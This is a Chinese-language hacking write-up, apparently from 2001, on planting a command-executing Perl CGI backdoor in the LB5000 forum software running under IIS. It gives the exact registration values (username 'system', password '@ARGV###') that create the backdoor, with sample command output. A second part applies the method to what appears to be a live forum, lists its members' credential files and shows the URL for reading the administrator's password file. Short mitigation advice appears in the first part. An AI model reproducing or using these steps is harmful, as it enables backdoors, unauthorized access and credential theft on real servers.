1.================================
by analysist
http://www.china4lert.org
LB5K可以算是国内最流行的论坛程序了,我以前只发现过一个提升权限的漏洞,比较高的版本基本没有什么安全问题,但是由于前些日子发现了Perl CGI在IIS下的若干问题,也想到了一些事情,今天花了点时间重新看了一下LB5K,结果发现我们完全可以利用这两个漏洞搞一个Perl CGI后门。
测试环境:
平台:Win32
服务器:IIS
支持Perl方式:CGI
LB5K版本:LB5000II v0830
操作步骤:
1.用户注册页面(http://www.notfound.org/lb5000/cgi-bin/register.cgi),输
入下面信息后提交:
用户名:system
密码:@ARGV###(需要输入两次)
邮件地址:[email protected]
2.后门搞定,我们测试一下:
http://www.notfound.org/lb5000/cgi-bin/members/system.cgi?cd
CGI ErrorThe specified CGI application misbehaved by not returning a
complete set of HTTP headers. The headers it did return are:
C:\Inetpub\lb5000\cgi-bin\members
http://www.notfound.org/lb5000/cgi-bin/members/system.cgi?dir
CGI ErrorThe specified CGI application misbehaved by not returning a
complete set of HTTP headers. The headers it did return are:
C:\Inetpub\lb5000\cgi-bin\members 的目录
2001-10-18 11:23 <DIR> .
2001-10-18 11:23 <DIR> ..
2001-10-18 11:24 162 system.cgi
1 个文件 162 字节
2 个目录 1,615,261,696 可用字节
是不是很酷?这个后门一般是不会有人发现的啦,当然我们假设管理员不看日志!:P
临时解决方法:
1.限制“/cgi-bin/members”只能本地访问,并去掉该目录执行权限
2.将“/cgi-bin/members”改名或移到Web目录外
3.不要使用CGI方式支持Perl,可以暂时改为ISAPI方式
4.过滤特殊的用户名,如“system”,“require”,“rename”等
5.限制密码只能为数字和字母组合
PS:BBS3K以及其它所有类似CGI程序都存在此安全问题,只是攻击方法略有不同。
2.===============================================
http://agebbs.com/bbs/leoboard.cgi
先检测一下
http://agebbs.com/bbs/members/killweb.cgi?
Unrecognized character \xBA at e:\chinadob\bbs\members\killweb.cgi line 1.
哦是。WINNT系统:)
再来去掉一个s
http://agebbs.com/bbs/member/killweb.cgi?
Can't open perl script "e:\chinadob\bbs\member\killweb.cgi": No such file or directory
:PERL执行的CGI程序的哦,这就是漏洞关键
注册system
密码要对
邮箱随便
http://agebbs.com/bbs//members/system.cgi?dir
e:\chinadob 的目录
2001-09-25 13:27 <DIR> .
2001-09-25 13:27 <DIR> ..
2001-09-25 16:49 <DIR> bbs
2001-09-18 23:01 1,183 index.htm
1 个文件 1,183 字节
3 个目录 1,226,543,104 可用字节
利用后门找管理员密码
http://agebbs.com/bbs/members/system.cgi?dir%20bbs\members\
e:\chinadob\bbs\members 的目录
2001-10-24 04:58 <DIR> .
2001-10-24 04:58 <DIR> ..
2001-10-02 23:05 169 ady_chai.cgi
2001-09-25 17:43 169 agebbs.cgi
2001-09-30 10:18 203 alexzhang.cgi
2001-10-22 19:32 239 allan.cgi
2001-09-29 23:50 161 bampw.cgi
2001-10-16 18:10 242 bixueboy.cgi
2001-09-26 00:45 164 blackdog.cgi
2001-10-20 14:44 237 coolrainfly.cgi
2001-10-19 22:28 174 cwilu.cgi
2001-10-13 23:20 205 draculatie.cgi
2001-10-21 21:02 176 forestbird.cgi
2001-09-25 20:01 169 haifeng44.cgi
2001-10-10 21:11 232 happybabycon.cgi
2001-10-21 11:00 248 hell82.cgi
2001-09-25 17:02 165 hucjs.cgi
2001-10-24 04:13 195 huc啸狼.cgi
2001-10-19 19:17 222 hurryday.cgi
2001-09-25 13:34 84 index.html
2001-09-30 19:40 164 jacy.cgi
2001-09-29 21:41 174 jiki.cgi
2001-10-23 19:33 223 jimmyfu.cgi
2001-10-20 21:57 235 jshacker.cgi
2001-10-24 04:58 269 killweb.cgi
2001-10-19 17:28 176 lonewolf.cgi
2001-09-26 12:31 174 mini.cgi
2001-09-30 12:36 165 mixter.cgi
2001-10-22 11:13 293 mjjsony.cgi
2001-09-29 21:41 180 neil.cgi
2001-10-17 11:26 200 niuxiaof.cgi
2001-10-23 21:33 391 pc0516.cgi
2001-10-04 14:34 178 phoenix0684.cgi
2001-10-22 21:38 465 pma.cgi
2001-10-16 20:30 167 poplove.cgi
2001-10-14 19:57 219 prayer.cgi
2001-10-20 18:05 397 priscilla.cgi
2001-09-29 16:56 174 qinyanmylove.cgi
2001-10-23 23:23 318 ranma.cgi
2001-09-30 23:29 412 skyshui.cgi
2001-10-24 04:12 167 system.cgi
2001-10-15 11:54 162 tyun.cgi
2001-10-18 23:55 205 wjk.cgi
2001-10-22 18:24 182 x-sword.cgi
2001-09-29 20:27 168 xiaobao.cgi
2001-10-16 19:32 173 xulinling.cgi
2001-10-23 22:18 272 ycitboycm.cgi
2001-10-17 21:07 218 zaza.cgi
2001-10-04 13:02 172 zerocool.cgi
2001-09-29 21:31 167 zgxx.cgi
2001-10-24 02:25 208 ziye.cgi
2001-10-04 17:32 202 zonhua.cgi
2001-10-22 14:35 179 ⊙⊥●.cgi
2001-10-24 04:07 411 ★可乐∮.cgi
2001-10-24 00:06 460 【人民万岁】.cgi
2001-09-27 14:34 173 九寸钉.cgi
2001-09-25 19:57 167 亮仔.cgi
2001-10-21 16:20 217 仗剑西行.cgi
2001-10-23 22:40 273 令狐冲.cgi
2001-10-20 14:36 170 以德服人.cgi
2001-10-19 19:28 257 会跳舞的豆.cgi
2001-10-09 18:56 201 冰雪浪人.cgi
2001-10-20 19:42 455 凯悦.cgi
2001-10-03 20:11 214 刀巴狼.cgi
2001-10-09 15:12 172 南希.cgi
2001-09-25 19:11 175 南枫.cgi
2001-10-07 05:21 227 南通风速.cgi
2001-10-12 12:14 275 含笑三步颠.cgi
2001-10-19 21:56 250 夏亚.cgi
2001-10-24 00:08 249 天剑神风.cgi
2001-10-01 18:50 232 天地无用1211.cgi
2001-10-01 09:26 188 天空的颜色.cgi
2001-10-13 23:05 241 天赐眼泪.cgi
2001-10-06 21:11 166 天驰翔.cgi
2001-10-20 18:31 174 妞妞.cgi
2001-10-13 15:45 165 封寒月.cgi
2001-10-21 15:54 236 小舞.cgi
2001-10-16 12:14 289 平凡小子.cgi
2001-09-25 17:43 162 废铁.cgi
2001-10-19 14:01 169 弈良.cgi
2001-10-06 12:56 214 影子传说.cgi
2001-10-21 12:38 232 心灵小筑.cgi
2001-10-22 21:49 276 心竹遗痕.cgi
2001-09-25 20:56 172 战无不胜.cgi
2001-09-25 21:16 170 戴冰.cgi
2001-10-14 13:56 178 星愿jiang.cgi
2001-10-03 20:11 215 晔.cgi
2001-10-23 14:50 192 晔风.cgi
2001-09-25 21:34 221 朔风.cgi
2001-10-06 16:40 187 朝若冰.cgi
2001-10-17 00:05 164 木纳.cgi
2001-10-02 17:07 171 梦少白.cgi
2001-09-29 21:01 165 楚州浪子.cgi
2001-10-15 18:40 176 步惊风.cgi
2001-10-07 13:53 239 水蛇郎君.cgi
2001-10-01 15:14 172 沧月水明.cgi
2001-10-07 19:13 163 泪.cgi
2001-09-30 11:19 178 洪浩南.cgi
2001-10-20 14:32 341 流浪.cgi
2001-10-15 19:37 254 浮梦白.cgi
2001-10-09 16:19 175 潇湘神话.cgi
2001-09-25 20:15 173 火→吻←冰.cgi
2001-10-16 10:14 163 灰马.cgi
2001-10-03 12:24 227 爱情黑客.cgi
2001-09-26 13:39 178 狼.cgi
2001-09-26 21:44 223 王琴.cgi
2001-09-25 19:23 165 玫黯鹰.cgi
2001-10-21 04:19 175 珂少.cgi
2001-10-03 16:57 299 盗帅!!!.cgi
2001-10-14 11:14 218 笑尘.cgi
2001-10-22 13:35 169 笨笨.cgi
2001-10-23 14:22 173 紫龙冰使.cgi
2001-10-23 19:11 391 红日.cgi
2001-10-17 19:46 351 红红雨.cgi
2001-10-13 15:38 188 红色战士.cgi
2001-10-19 21:56 221 红蜻蜓.cgi
2001-10-01 15:26 216 绝无神.cgi
2001-10-20 02:40 200 维也纳.cgi
2001-10-10 18:13 228 网客红虾.cgi
2001-10-19 21:07 287 耐火砖.cgi
2001-10-17 00:05 451 超级巨大谜团.cgi
2001-10-02 18:18 167 阿丁.cgi
2001-09-29 21:20 170 阿虎.cgi
2001-10-10 21:16 164 雨梦.cgi
2001-10-23 22:03 337 雪鼠.cgi
2001-10-21 14:27 550 震天雷.cgi
2001-10-14 16:39 234 静虚真人.cgi
2001-10-21 16:18 230 非对称战争.cgi
2001-09-26 20:09 165 音乐.cgi
2001-10-10 21:14 166 颐枫.cgi
2001-10-17 02:47 190 风之恋.cgi
2001-10-10 21:34 387 风蓝.cgi
2
先看一个管理员密码
http://agebbs.com/bbs/members/system.cgi?type%20bbs\members\管理员名字.cgi
本文地址:http://com.8s8s.com/it/it29822.htm